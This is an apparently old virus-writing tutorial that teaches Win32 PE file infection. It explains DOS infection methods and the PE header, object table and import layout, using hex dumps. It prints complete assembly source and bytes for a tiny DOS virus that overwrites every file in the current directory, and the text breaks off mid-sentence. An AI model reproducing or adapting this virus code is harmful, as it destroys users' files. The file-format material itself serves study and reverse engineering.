========================================== === PE INFECTION TUTORIAL FOR BEGINNER === ========================================== ART #1 : FIRST WORDS ART #2 : VIEW OF THE PAST ART #3 : YOUR FIRST PROGRAMM IN WIN32 ART #4 : PE FILE FORMAT ART #5 : ACCESSING WIN32 API ART #6 : HOW TO USE SOME APIS ART #7 : DELTA OFFSET ART #8 : RETURN TO THE HOST ART #9 : TIPS n' TRICKS CODE SECTION WRITEABLE REDUCE YOUR CODE COMPRESSED PE FILE ============================================================= + ________ + + /\ |---\ | | | /| + + / \ | | | --+----+-- / | + + / \ |___/ | | | / | + + /------\ | \ | --+----+-- | + + / \ | \ | | | | + + + ============================================================= FIRST WORDS So you want to code your own WIN32 virus ! ! ! If you are not stupid, if you are patient and if you want really to do it then you can write a WIN32 virus in asm language..... But first you should answer to this stupid question: WHY DO YOU WANT TO DO IT !!!!? - To destroy files? - To kill all the BIOS of the universe? - To fuck Micro$oft OS? - Because it's only a chanlenge for you? - To claim to the world a message of peace? If you choose one of the three first answer, then you should phone to a psychiatric therapist ! ! ! ! ! But if you want to claim a message of peace then you are welcome in vx coding world... Writing a virus is forbidden, so you should be prudent, and you had better not to ask stupid questions. See law texts about informatics. What you should have: -A brain. (Logical and equipped with the option "English language") -A computer. -Patience. -A linker (TASM, NASM, MASM...) and his Doc. I prefer NASM .... (with NASM you can code for UNIX n' WIN32 platform, NASM is open source!!!) (MASM means 'Micro$oft ASM'...no comment...) -An asm file editor (of course you can only use NOTEPAD...) but see QEDITOR.EXE in MASM pack -A good hex editor (WINHEX) What you should find: -Tutorials for the asm language if you have no knowledge about it. -Virus tutorials and Vx zines: Download -40Hex zines : Old zines (a lot article for DOS) -29A zines : Very very interesting zines. -SLAM zines : essentially for macro virus. -Vx tazy zine : A very cool zine. Thanks dear Lord Julus -Vdat : Big collection of vx article. By Cicatrix -... -... -Documentation about file format (EXE PE, see PECOFF.DOC from micro$oft). -Doc about how to use WIN32 APIs (WIN32.HLP). You should read all you will find about vx coding, read, read and read.... ============================================================= + ________ __ + + /\ |---\ | | | / \ + + / \ | | | --+----+-- / | + + / \ |___/ | | | / + + /------\ | \ | --+----+-- / + + / \ | \ | | | /___ + + + ============================================================= A VIEW OF THE PAST Here I will speak about the old DOS viruses: DOS IS DEAD !!! I loved DOS because it was my first OS on an old 186 with an 'Hercules' graphic card ;-) Writing a simple DOS virus is very, very, very easy...I've learn vx coding with some old tutorials (40 hex...) Common target files for viruses: - *.COM - *.EXE - *.SYS - *.DOC - *.ZIP *.ARJ *.ARC ,all compressed archive files. - *.OBJ *.ASM ;-) Methods of infection: * overwriting * non-overwriting (appending) * companion * BOOT infector OVERWRITTING VIRUS(*.COM infector): They were very destructive because they copy themselves over the host and the infected file will never run anymore: Before infection After infection +---------------+ +---------------+ | F F F F F F | | V I R U S | | I I I I I I | +---------------+ | L L L L L L | | L L L L L L | | E E E E E E | | E E E E E E | +---------------+ +---------------+ NON-OVERWRITTING VIRUS (*.COM infector only): This virus don't destroy the infected file, so he can spread as he want. Before infection After infection +---------------+ ---->-- +---------------+ <-- +---------------+ | F F F F F F | | --<-| JMP to VIRUS | <-- | F F F F F F | | I I I I I I | | | | | <-- | I I I I I I | | L L L L L L | | | +---------------+ +---------------+ | E E E E E E | | | | L L L L L L | | +---------------+ | | | E E E E E E | | | | +---------------+ | | -->-| INFECT FILES | | | +---------------+ | | | RESTORE THE | | | | FIRST OVER- |--->-------/ | | WRITED BYTES | | +---------------+ ----<---|JMP to the host| +---------------+ The virus copy himself to the end of the host and overwrite the first bytes by writing an JMP op code to the virus, infect others files, restore the first overwritten bytes, and jmp to the host (beginning of the file)... COMPANION VIRUS: We found some companion viruses code in WIN32 but they appeared under DOS: - When you tape c:\my_prog -DOS search first for c:\my_prog.COM -DOS search next for c:\my_prog.EXE if c:\my_prog.COM is not found -DOS search next for c:\my_prog.BAT if c:\my_prog.EXE is not found -DOS print on screen "file not found if c:\my_prog.BAT is not found -So the companion virus search for my_prog.EXE, if present so it create a my_prog.COM, copy himself on my_prog.COM So after infection if you tape c:\my_prog then my_prog.COM (the virus) is run first and the virus run my_prog.EXE ...CLEAR ? BOOT infector: These virus infect the Master boot of a floppy or an hard drive. They were powerful because the virus run before the Operating System. Writing an BOOT virus is not so easy in WIN32 because we are under the protected mode I will now show you a very tiny overwriting virus(.COM infetor): ;-------------------------------------------------------------------- ; The EXEcution III Virus. ; ; Well, you're now the prouw owner of the smallest virus ever made! ; only 23 bytes long and ofcourse again very lame.. ; But what the heck, it's just an educational piece of code!! ; ; (C) 1993 by [DàRkRàY] of TridenT (Ooooooranje Boooooooven!) ; ; Tnx to myself, my assembler, DOS (yuck) and to John Tardy for his ; nice try to make the smallest (27 bytes and 25 bytes) virus... gotcha!! ;-)) ; ; BTW Don't forget, I only tested it unter DOS 5.0 so on other versions ; it might not work! _CODE SEGMENT ASSUME CS:_CODE ORG 100h START: ; That's where we're starting... FILE DB '*.*',0h ; Dummy instruction, SUB's 0FFh from CH MOV AH,4Eh ; Let's search! DO_IT: MOV DX,SI ; Make DX = 100h (offset file) INT 21h ; Search now dude! MOV AX,3D01h ; Hmm, infect that fucking file! MOV DX,9Eh ; Name is at DS:[9Eh] INT 21h ; Go do it! XCHG BX,AX ; Put the handle in BX MOV AH,40h ; Write myself! JMP DO_IT ; Use other routine _CODE ENDS END START ; If you don't like my english: Get lost, you can understand it! ;------------------------------------------------------------------------- This virus overwrite all file (*.*) he find in the current directory only. He looks like: 2A 2E 2A 00 B4 4E 8B D6 CD 21 B8 01 3D BA 9E 00 CD 21 93 B4 40 EB EF very tiny, is'nt it? It was a challenge under DOS to code the smallest virus...strange game ! ============================================================= + ________ ___ + + /\ |---\ | | | / \ + + / \ | | | --+----+-- / | + + / \ |___/ | | | __/ + + /------\ | \ | --+----+-- \ + + / \ | \ | | | \ | + + \___/ + ============================================================= YOUR FIRST WIN32 PROGRAMM Asm is the most powerful language but the more difficult to learn. Use your brain ;-) If you have began coding asm under DOS so you can easy understand this: ;----------------------------------------------------------------; model tiny ; model for a .COM file ; .radix 16 ; ; .code ; code section ; org 100h ; a .COM file is load at offset 100h ; start: ; coded for TASM ; ;------------------------; ; ; mov ah,09 ; ; mov dx,offset hello ; address of text to print on screen ; int 21 ; ; ; mov ax,4c00 ; ; int 21 ; END ! ; ; hello db "HELLO $",0 ; ; ;----------------------------------------------------------------; You had to put some values on specific register before to call DOS or BIOS interrupt(int). In win32 you should put values on stack before to call WIN32 API and the APIs will do the job for you. I will now show you the same program in WIN32: ;----------------------------------------------------------; ; Coded for NASM ; ; nasm -fobj hello.asm ; ; alink -oPE hello \lib\kernel32.lib \lib\user32.lib ; ; extern MessageBoxA ; APIs used ; extern ExitProcess ; in this file ; ; [SECTION CODE USE32 CLASS=CODE] ; code section ; ..start: ; for the linker ; ; push byte 0 ; only the buttons 'OK' ; push dword caption ; caption of the BOX ; push dword text ; text in the BOX ; push byte 0 ; handle of the Box ; call MessageBoxA ; print BOX on screen ; ; push byte 0 ; ; call ExitProcess ; EXIT ; ; caption db "Your first WIN32 programm",0 ; text db "HELLO",0 ; ; end ; for the linker ; ; ;----------------------------------------------------------; you can link and compile this prog...I will use it to explain you some tricks ============================================================= + ________ + + /\ |---\ | | | / + + / \ | | | --+----+-- / + + / \ |___/ | | | / | + + /------\ | \ | --+----+-- /---|-- + + / \ | \ | | | | + + + ============================================================= PE FILE FORMAT - Where DOS were still alive the two principal file formats of executable files were *.COM and *.EXE ,the image of a COM file (after been loaded in memory) is the same as is physical aspect (on hard drive). The image is just load after the PPS (Post Prefix Segment). A .COM file begin at offset 100h on memory, and his size can't be more than FFFFh bytes. It is not the case for EXE files. A EXE file begin with an header on which are put some values needed to load the file (DOS EXE files have only one header) - Windows 3.x appeared with a new kind of executable: the NE .EXE files (New Executable) - Windows 9X appeared with a new .EXE format: the PE .EXE files (Portable Executable) The name "Portable Executable" refers to the fact that the format is not architecture-specific. I will now show you the PE file format (PE32 only): A .EXE PE file looks like this: +--------------------------+ | OLD DOS EXE HEADER | +--------------------------+ | PE HEADER | +--------------------------+ | PE OPTIONAL HEADER | +--------------------------+ | OBJECT TABLE | +--------------------------+ | SECTION # 1 | +--------------------------+ | SECTION # 2 | +--------------------------+ | SECTION # 3 | +--------------------------+ . | . | . | . | +--------------------------+ | SECTION # n | +--------------------------+ The most common section you will find in PE file are: -code section : section of win32 code (program). -data sections : initialized/uninitialized data. -import section : the APIs used in the file are enumerate here and the loader will write here address of APIs used in order to call them. -export section : for .DLL file: entry point of APIs are enumerate here. -resource section : contains info about the file (icon,...). -debug section : contains debugging info. -relocation section : use for relocation. ********************** * OLD DOS EXE HEADER * ********************** I will not describe in detail this header because a lot of values are unused nowadays. Read old vx articles if you want. Offset Size Description 00h 2 BYTEs .EXE signature, "MZ" (4D5Ah) 02h WORD number of bytes in last page 04h WORD number of pages (include the last page) (a page=512 bytes) 06h WORD number of relocation entries 08h WORD header size in paragraphs (a paragraph=16 bytes) 0Ah WORD minimum paragraphs of memory needed 0Ch WORD maximum paragraphs of memory needed 0Eh WORD initial SS 10h WORD initial SP 12h WORD checksum 14h DWORD initial CS:IP (beginning of the executable) 18h WORD Set to 40h or more for new-format (NE,LE,LX,PE,...) 1Ah WORD overlay number (normally set to 0) 1Ch 4 BYTEs Reserved 20h WORD ? 22h 26 BYTEs Reserved 3Ch DWORD offset of new executable (NE,LE,PE,...) header Take a look at our HELLO.EXE file (edit it in hex): Physical offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000000 4D 5A 6C 00 01 00 00 00 04 00 11 00 FF FF 03 00 MZ.............. 00000010 00 01 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ................ 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 00 ................ 00000040 0E 1F BA 0E 00 B4 09 CD 21 B8 00 4C CD 21 54 68 ..............Th 00000050 69 73 20 70 72 6F 67 72 61 6D 20 72 65 71 75 69 is program requi 00000060 72 65 73 20 57 69 6E 33 32 0D 0A 24 00 00 00 00 res WIN32....... -At offset 0h you can see the MZ signature (4D5Ah), all EXE files begin with this signature. -At Offset 18h is the word 0040h so if you try to run this file under DOS then a JMP to offset 40h is done and the code is: HEX values op codes 0E - push cs 1F - pop ds BA0E00 - mov dx,offset text ; B409 - mov ah,09 ; CD21 - int 21 ; print text on screen B8004C - mov ax,4C00 ; CD21 - int 21 ; END - text db "This programm requires WIN32",0D,0A So the .EXE file print "This programm requires WIN32" if you don't run it in a WIN32 environment (win9x and later) -At offset 3ch is the dword 'header relocation'. This value here is 70h So the New Header (PE header) begin at offset 70h ************* * PE HEADER * ************* The PE HEADER looks like: <---------DWORD---------> <---WORD---> +-------------------------+------------+------------+ | SIGNATURE | CPU TYPE | # OBJECTS | +-------------------------+------------+------------+ | TIME/DATE | RESERVED | +-------------------------+-------------------------+ | RESERVED | OPTIONAL | FLAGS | | | HDR SIZE | | +-------------------------+------------+------------+ SIGNATURE :This value is "PE",0,0 or 00005045h in hex. All PE .EXE files begin with this value. CPU TYPE :Type of CPU required by this image to run. The values are: 0 unknown 014Ch 386 or later, and compatible processors. 014Dh 80486 014Eh Pentium TM 0162h MIPS Mark I (R2000, R3000) 0163h MIPS Mark II (R6000) 0166h MIPS Mark III (R4000) 0168h MIPS little-endian 0169h MIPS little-endian WCE v2 0184h Alpha_AXP 01F0h IBM PowerPC Little-Endian 01a2h Hitachi SH3 little-endian 01a4h Hitachi SH3E little-endian 01a6h SH4 little-endian 01c0h ARM Little-Endian 01f0h Power PC, little endian 0200h Intel 64 0266h MIPS16 0268h Motorola 68000 series 0284h Alpha AXP 64-bit 0366h MIPS FPU 0466h MIPS 16 FPU 0284h ALPHA64 # OBJECTS :Number of entries in the Object Table. TIME/DATE :Time and date the file was created or modified by the linker. OPTIONAL HDR SIZE :Size of the optional header FLAGS :Flag bits for the image. Flag Definition 0000h Programm image 00001h (IMAGE_FILE_RELOCS_STRIPPED) Image only, Windows CE, NT and above. Indicates that the file does not contain base relocations and must therefore be loaded at its preferred base address. If the base address is not available, the loader reports an error. Operating systems running on top of MS-DOS (Win32s) are generally not able to use the preferred base address and so cannot run these images. However, beginning with version 4.0, Windows will use an application's preferred base address. The default behavior of the linker is to strip base relocations from EXEs. 00002h Image is executable. 00004h COFF line numbers have been removed. 00008h COFF symbol table entries for local symbols have been removed. 00010h Aggressively trim working set. 00020h App can handle > 2gb addresses. 00040h Use of this flag is reserved for future use. 00080h Little endian: LSB precedes MSB in memory. 00100h 32 bit word machine. (win32 environment) 00200h Debugging information removed from image file. 00400h If image is on removable media, copy and run from swap file. 01000h The image file is a system file, not a user program. 02000h Library image (.DLL) 04000h File should be run only on a UP machine. 08000h Big endian: MSB precedes LSB in memory. if you found the flag 0102h then it means 0100h+0002h ... NOW we know (look at the old DOS header) that the new header begin at offset 70h So take a look are our hello.exe file at offset 70h Physical offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000070 50 45 00 00 4C 01 04 00 74 93 5D 3D 00 00 00 00 PE.............. 00000080 00 00 00 00 E0 00 02 01 ................ -At offset 70h we see the value "PE",0,0 so here is the beginning of the PE header -At offset 74h is the word 014Ch (reverse the bytes) so Intel 80386 PC is needed to run this file. -At offset 76h is the word 0004h. So there is 4 sections described in the object table -At offset 84h is the size of the optional header (00E0h) -At offset 86h is the flag for the image: 0102h (0100h+0002h) ********************** * PE OPTIONAL HEADER * ********************** Before to show you the structure of the PE OPTIONAL HEADER I will tell you some word about the notion of IMAGE BASE and Relative Virtual Address (RVA) It is very simple but very important in WIN32 environment: The IMAGE BASE is the address on which the file is load by the loader, so at this address we will find the beginning of the file (old MZ DOS HEADER). An RVA is in fact a distance from the image base (from the beginning of the image of the file). For example if a file has 00400000h for IMAGE BASE and his first section has for RVA 001000h then this section will be load at this address: 00400000h + 00001000h (IMAGE BASE+RVA). CLEAR? The PE OPTIONAL HEADER is place just after the PE HEADER. There are a lot of very important for the loader and for us! I still don't know why it is called 'OPTIONAL'. The PE OPTIONAL HEADER (PE32 only) looks like: <---WORD---> <---------DWORD---------> +------------+------------+------------+------------+ | SIGNATURE? | LMAJOR | LMINOR | RESERVED | +------------+------------+------------+------------+ | RESERVED | RESERVED | +-------------------------+-------------------------+ | ENTRYPOINT RVA | RESERVED | +-------------------------+-------------------------+ | RESERVED | IMAGE BASE | +-------------------------+-------------------------+ | OBJECT ALIGN | FILE ALIGN | +-------------------------+-------------------------+ | OS MAJOR | OS MINOR | USER MAJOR | USER MINOR | +------------+------------+------------+------------+ | SUBSYS MAJ | SUBSYS MIN | RESERVED | +------------+------------+-------------------------+ | IMAGE SIZE | HEADER SIZE | +-------------------------+------------+------------+ | FILE CHECKSUM | SUBSYSTEM | DLL FLAGS | +-------------------------+------------+------------+ | STACK RESERVE SIZE | STACK COMMIT SIZE | +-------------------------+-------------------------+ | HEAP RESERVE SIZE | HEAP COMMIT SIZE | +-------------------------+-------------------------+ | RESERVED | # RVA/SIZES | +-------------------------+-------------------------+ | EXPORT TABLE RVA | TOTAL EXPORT DATA SIZE | +-------------------------+-------------------------+ | IMPORT TABLE RVA | TOTAL IMPORT DATA SIZE | +-------------------------+-------------------------+ | RESOURCE TABLE RVA | TOTAL RESOURCE DATA SIZE| +-------------------------+-------------------------+ | EXCEPTION TABLE RVA |TOTAL EXCEPTION DATA SIZE| +-------------------------+-------------------------+ | SECURITY TABLE RVA |TOTAL SECURITY DATA SIZE | +-------------------------+-------------------------+ | FIXUP TABLE RVA | TOTAL FIXUP DATA SIZE | +-------------------------+-------------------------+ | DEBUG TABLE RVA |TOTAL DEBUG DIRECTORIES | +-------------------------+-------------------------+ | IMAGE DESCRIPTION RVA |TOTAL DESCRIPTION SIZE | +-------------------------+-------------------------+ | MACHINE SPECIFIC RVA | MACHINE SPECIFIC SIZE | +-------------------------+-------------------------+ | THREAD LOCAL STORAGE RVA| TOTAL TLS SIZE | +-------------------------+-------------------------+ SIGNATURE? : The Optional Header's Magic number determines whether an image is a PE32 or PE32+ executable: - 0x10b for PE32 (010bh) - 0x20b for PE32+ (020bh) PE32+ images allow for a 64-bit address space while limiting the image size to 4 Gigabytes (code in 64bits) Other PE32+ modifications are addressed in their respective sections. (In WIN9X ,NT, 2000, ME you will find only PE32 but in XP you find PE32+...it's not really different, download the PE file format documentation on micro$oft web site) LMAJOR/LMINOR : The major/minor version number of the linker. ENTRYPOINT RVA : Entrypoint relative virtual address. The address is relative to the Image Base. This address is the starting address for the program. IMAGE BASE : The virtual base of the image. This will be the virtual address of the first byte of the file (DOS Header). This must be a multiple of 64K. (The file is load at this address in memory) OBJECT ALIGN : The alignment of the objects. This must be a power of 2 between 200h and 256M inclusive. The default is 1000h. All section of the file will be loaded at an offset which is a power of OBJECT ALIGN dword. FILE ALIGN : Alignment factor used to align image pages. All section of the file are written at an offset which is a power of FILE ALIGN dword. Larger alignment factors will cost more file space Smaller alignment factors will impact demand load performance, perhaps significantly. Of the two, wasting file space is preferable. This value should be a power of 2 between 200h and 64K inclusive. OS MAJOR/OS MINOR : The OS version number required to run this image. USER MAJOR/MINOR : User major/minor version number. This is useful for differentiating between revisions of images/dynamic linked libraries. The values are specified at link time by the user. SUBSYS MAJ/MIN : Subsystem major/minor version number. IMAGE SIZE : The virtual size (in bytes) of the image. This includes all headers. The total image size must be a multiple of Object Align. HEADER SIZE : Total header size. The combined size of the old DOS Header, PE Header ,PE optional Header and Object Table. FILE CHECKSUM : Checksum for entire file. Set to zero by the linker. SUBSYSTEM : subsystem required to run this image. The values are: 0000h - Unknown 0001h - Used for device drivers and native Windows NT processes. 0002h - Image runs in the Windows graphical user interface (GUI) subsystem. 0003h - Image runs in the Windows character subsystem. 0005h - OS/2 Character 0007h - POSIX Character 0008h - Image is a native Win9x driver. 0009h - Windows CE subsystem. 0010h - Image is an EFI application. 0011h - Image is an EFI driver that provides boot services 0012h - Image is an EFI driver that provides runtime services. DLL FLAGS : Indicates special loader requirements. This flag has the following bit values: 00001h - Per-Process Library Initialization 00002h - Per-Process Library Termination 00004h - Per-Thread Library Initialization 00008h - Per-Thread Library Termination 00800h - Do not bind image 02000h - Driver is a WDM Driver 08000h - mage is Terminal Server aware All other bits are reserved for future use and should be set to zero. STACK RESERVE SIZE : Stack size needed for image. The memory is reserved, but only the Stack Commit Size is committed. The next page of the stack is a 'guarded page.' When the application hits the guarded page, the guarded page becomes valid, and the next page becomes the guarded page. This continues until the Reserve Size is reached. STACK COMMIT SIZE : Stack commit size. HEAP RESERVE SIZE : Size of local heap to reserve. HEAP COMMIT SIZE : Amount to commit in local heap. # RVA/SIZES : Indicates the size of the RVA/Size array that follows. EXPORT TABLE RVA : RVA of the Export Table. TOTAL EXPORT DATA SIZE : Total size of the export data. IMPORT TABLE RVA : RVA of the Import Table. This address is relative to the Image Base. TOTAL IMPORT DATA SIZE : Total size of the import data. RESOURCE TABLE RVA : RVA of the Resource Table. TOTAL RESOURCE DATA SIZE : Total size of the resource data. EXCEPTION TABLE RVA : RVA of the Exception Table. TOTAL EXCEPTION DATA SIZE : Total size of the exception data. SECURITY TABLE RVA : RVA of the Security Table. TOTAL SECURITY DATA SIZE : Total size of the security data. FIXUP TABLE RVA : RVA of the Fixup Table. TOTAL FIXUP DATA SIZE : Total size of the fixup data. DEBUG TABLE RVA : RVA of the Debug Table. TOTAL DEBUG DIRECTORIES : Total number of debug directories. IMAGE DESCRIPTION RVA : RVA of the description string specified in the module definition file. TOTAL DESCRIPTION SIZE : Total size of the description data. MACHINE SPECIFIC RVA : RVA of a machine-specific value. MACHINE SPECIFIC SIZE : A machine-specific value. THREAD LOCAL STORAGE RVA : RVA of local storage RVA TOTAL TLS SIZE : Total size of local storage Let's take a look at our hello.EXE file and especially at the OPTIONAL HEADER: Physical offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000080 0B 01 00 00 00 00 00 00 ........ 00000090 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 ................ 000000A0 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 ................ 000000B0 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 ................ 000000C0 00 50 00 00 00 04 00 00 00 00 00 00 02 00 00 00 ................ 000000D0 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 ................ 000000E0 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ................ 000000F0 00 30 00 00 94 00 00 00 00 00 00 00 00 00 00 00 ................ 00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000110 00 40 00 00 18 00 00 00 00 00 00 00 00 00 00 00 ................ 00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000160 00 00 00 00 00 00 00 00 ........ -At offset 000000A4h is the IMAGE BASE: this value is 00400000h So the file will be loaded in memory at 00400000h -At offset 000000A8h is the OBJECT ALIGN value: 00001000h. All section will be loaded at an offset which is a power of this value. -At offset 000000ACh is the File ALIGN value: 00000200h. All section are written (on disk) at an offset which is a power of this value. -At offset 000000F0h is the IMPORT TABLE RVA value: 00003000h. So the IMPORT TABLE begin at offset 00403000h on memory (IMAGE BASE+RVA) We will take a look at IMPORT TABLE later... **************** * OBJECT TABLE * **************** The number of entries in the Object Table is set by the # Objects field in the PE Header. Entries in the Object Table are numbered starting from one. The Object Table immediately follows the PE OPIONAL HEADER. The order and the name of the object are chosen by the linker. The RVA for objects must be assigned by the linker such that they are in ascending order and adjacent, and must be a multiple of Object Align set in the PE header. Each Object Table entry has the following format: +---------------------------------------------------+ | OBJECT NAME | +-------------------------+-------------------------+ | VIRTUAL SIZE | RVA | +-------------------------+-------------------------+ | PHYSICAL SIZE | PHYSICAL OFFSET | +-------------------------+-------------------------+ | RESERVED | RESERVED | +-------------------------+-------------------------+ | RESERVED | OBJECT FLAGS | +-------------------------+-------------------------+ OBJECT NAME : Object name. This is an eight-byte, null-padded ASCII string representing the object name. VIRTUAL SIZE : Virtual memory size. The size of the object that will be allocated when the object is loaded. Any difference between Physical Size and Virtual Size is zero filled. It is the size of the section after being load on memory. RVA : Relative Virtual Address. This is the virtual address that the object is currently relocated to relative to the Image Base. Each Object's virtual address space consumes a multiple of Object Align (power of 2 between 512 and 256M inclusive. The default is 64K.), and immediately follows the previous Object in the virtual address space (the virtual address space for an image must be dense). PHYSICAL SIZE : Physical file size of the section. The size of the section in the file for the object. The physical size must be a multiple of the File Align field in the PE Header, and must be less than or equal to the Virtual Size. PHYSICAL OFFSET : Physical offset for the object's first page. This offset is relative to the beginning of the EXE file, and is aligned on a multiple of the File Align field in the PE Header. The offset is used as a seek value. OBJECT FLAGS : Flag bits for the object. The object flag bits have the following definitions: Flag Definition 000000008h Section should not be padded to next boundary. This is obsolete and replaced by IMAGE_SCN_ALIGN_1BYTES. This is valid for object files only. 000000020h Code object 000000040h Initialized data object 000000080h Uninitialized data object 000000200h Section contains comments or other information. The .drectve section has this type. This is valid for object files only. 000000800h Section will not become part of the image. This is valid for object files only. 000001000h Section contains COMDAT data. 000100000h Align data on a 1-byte boundary. valid for object files only. 000200000h Align data on a 2-byte boundary. 000300000h Align data on a 4-byte boundary. 000400000h Align data on a 8-byte boundary. 000500000h Align data on a 16-byte boundary. 000600000h Align data on a 32-byte boundary. 000700000h Align data on a 64-byte boundary. 000800000h Align data on a 128-byte boundary. 000900000h Align data on a 256-byte boundary. 000A00000h Align data on a 512-byte boundary. 000B00000h Align data on a 1024-byte boundary. 000C00000h Align data on a 2048-byte boundary. 000D00000h Align data on a 4096-byte boundary. 000E00000h Align data on a 8192-byte boundary. 001000000h Section contains extended relocations. 002000000h Section can be discarded as needed. 040000000h Object must not be cached 080000000h Object is not pageable 100000000h Object is shared 200000000h Executable object 400000000h Readable object 800000000h Writeable object All other bits are reserved for future use and should be set to zero. Take a look one more time at our HELLO.EXE file Physical offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000160 43 4F 44 45 00 00 00 00 CODE.... 00000170 00 10 00 00 00 10 00 00 3A 00 00 00 00 04 00 00 ................ 00000180 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 ................ 00000190 49 4D 50 4F 52 54 53 00 00 10 00 00 00 20 00 00 IMPORTS......... 000001A0 0C 00 00 00 00 06 00 00 00 00 00 00 00 00 00 00 ................ 000001B0 00 00 00 00 60 00 00 60 69 6D 70 6F 72 74 73 00 ........imports. 000001C0 00 10 00 00 00 30 00 00 94 00 00 00 00 08 00 00 ................ 000001D0 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 ................ 000001E0 72 65 6C 6F 63 73 00 00 00 10 00 00 00 40 00 00 relocs.......... 000001F0 18 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 ................ 00000200 00 00 00 00 40 00 00 52 ........ -At offset 00000168h is the name of the first OBJECT TALBE: "CODE",0,0,0,0 With such a name we can easy deduce that it is the code section. -At offset 00000174h is the RVA of this section: 00001000h. So the code section will be loaded at offset 00401000h on memory (IMAGE BASE + RVA) -At offset 0000017Ch is the PHYSICAL OFFSET: 00000400h. So this section is writen on file at 00000400h (relative to the the beginning of the file) -At offset 0000018Ch are the FLAGS: 60000060h 60000060h = 000000020h + 000000040h + 200000000h + 400000000h | | | | Code object <----+ | | | Initialized data object <-----+ | | Executable object <-----------------------+ | Readable object <-------------------------------------+ ****************** * IMPORT SECTION * ****************** The most difficult thing to understood in coding a win32 virus is the IMPORT section: All APIs (like MessageBoxA, ExitProcess,...) are in some .DLL files For example MessageBoxA is in user32.dll and ExitProcess is in kernel32.dll. Before to run hello.exe, the import section contain all the APIs name and the name of the .DLL used in hello.exe .When you run hello.exe file, the loader write at the right place (in import section) the address of the APIs (entry point in the .DLL files). Why a such thing??? because the .DLL file can be loaded at different address ( at the image base; note that image base value is only a suggested address). So the problem for us is that kernel32.dll is not always at the same place (see different version of windows: 95, 98, 2000, NT, ...) And the entry point of APIs are not at the same place...CLEAR ??? There is two ways to IMPORT APIs address in an PE .EXE file: by hint and by ordinal. But there is only one way to EXPORT APIs address in a .DLL file: by ordinal I will try now to explain the concept of the IMPORT section (by hint): The IMPORT section (by hint) begin with the IMPORT DATA DIRECTORYs. A IMPORT DATA DIRECTORY is relative to only one .DLL After it is put data: .DLL name ,list of pointer, API address lists APIs name lists The IMPORT DATA DIRECTORY looks like: +-------------------------+-------------------------+ | RVA to a list of | DATE/TIME | | pointer to APIs names | | IMPORT DATA DIRECTORY +-------------------------+-------------------------+ #1 | .DLL address (unused) | RVA to .DLL name | +-------------------------+-------------------------+ |RVA to API address list | +-------------------------+ | | | IMPORT DATA DIRECTORY | | | #n | | | +-------------------------+-------------------------+ | NULL | NULL | NULL IMPORT DATA | | | DIRECTORY to say +-------------------------+-------------------------+ it's the end | NULL | NULL | +-------------------------+-------------------------+ | NULL | +-------------------------+ - RVA to a list of pointer to APIs names : This RVA point to a list of others pointers which point to API NAMEs imported from the .DLL - DATE/TIME : - .DLL address (unused) : In win9X this field contains the address where is load the .DLL file but not under win NT,2000,XP). Please don't use this value - RVA to .DLL name : This RVA point to the name of the .DLL file (library) - RVA to API address list : This RVA point to the list of API address (the loader write them...) Ok let's see the IMPORT section of our hello.exe file: View of IMPORT section BEFORE loading hello.exe Physical offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000800 58 30 00 00 00 00 00 00 00 00 00 00 3C 30 00 00 ............<0.. 00000810 60 30 00 00 68 30 00 00 00 00 00 00 00 00 00 00 ................ 00000820 48 30 00 00 70 30 00 00 00 00 00 00 00 00 00 00 ................ 00000830 00 00 00 00 00 00 00 00 00 00 00 00 75 73 65 72 ............user 00000840 33 32 2E 64 6C 6C 00 00 6B 65 72 6E 65 6C 33 32 32.dll..kernel32 00000850 2E 64 6C 6C 00 00 53 04 78 30 00 00 00 00 00 00 .dll............ 00000860 78 30 00 00 00 00 00 00 86 30 00 00 00 00 00 00 x0.............. 00000870 86 30 00 00 00 00 00 00 00 00 4D 65 73 73 61 67 å0........Messag 00000880 65 42 6F 78 41 00 00 00 45 78 69 74 50 72 6F 63 eBoxA...ExitProc 00000890 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 ess............. View of IMPORT section AFTER loading hello.exe MEMORY offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00403000 58 30 00 00 91 A1 39 37 00 00 F5 BF 3C 30 00 00 ..........§+<0.. 00403010 60 30 00 00 68 30 00 00 B4 C2 1F 37 00 00 F7 BF ........¦-.7..¸+ 00403020 48 30 00 00 70 30 00 00 00 00 00 00 00 00 00 00 ................ 00403030 00 00 00 00 00 00 00 00 00 00 00 00 75 73 65 72 ............user 00403040 33 32 2E 64 6C 6C 00 00 6B 65 72 6E 65 6C 33 32 32.dll..kernel32 00403050 2E 64 6C 6C 00 00 53 04 78 30 00 00 00 00 00 00 .dll............ 00403060 2E 41 F5 BF 00 00 00 00 86 30 00 00 00 00 00 00 .A§+............ 00403070 F8 D4 F8 BF 00 00 00 00 00 00 4D 65 73 73 61 67 °È°+......Messag 00403080 65 42 6F 78 41 00 00 00 45 78 69 74 50 72 6F 63 eBoxA...ExitProc 00403090 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 ess............. It's very clear that some bytes have change ! ! ! The loader has write entry point of imported APIs and others values I have describe... The 60 first bytes are the 3 IMPORT DATA DIRECTORYs. the Last IMPORT DATA DIRECTORY is null to set the end. I will try to explain with the first IMPORT DATA DIRECTORY (20 first bytes) : -At offset 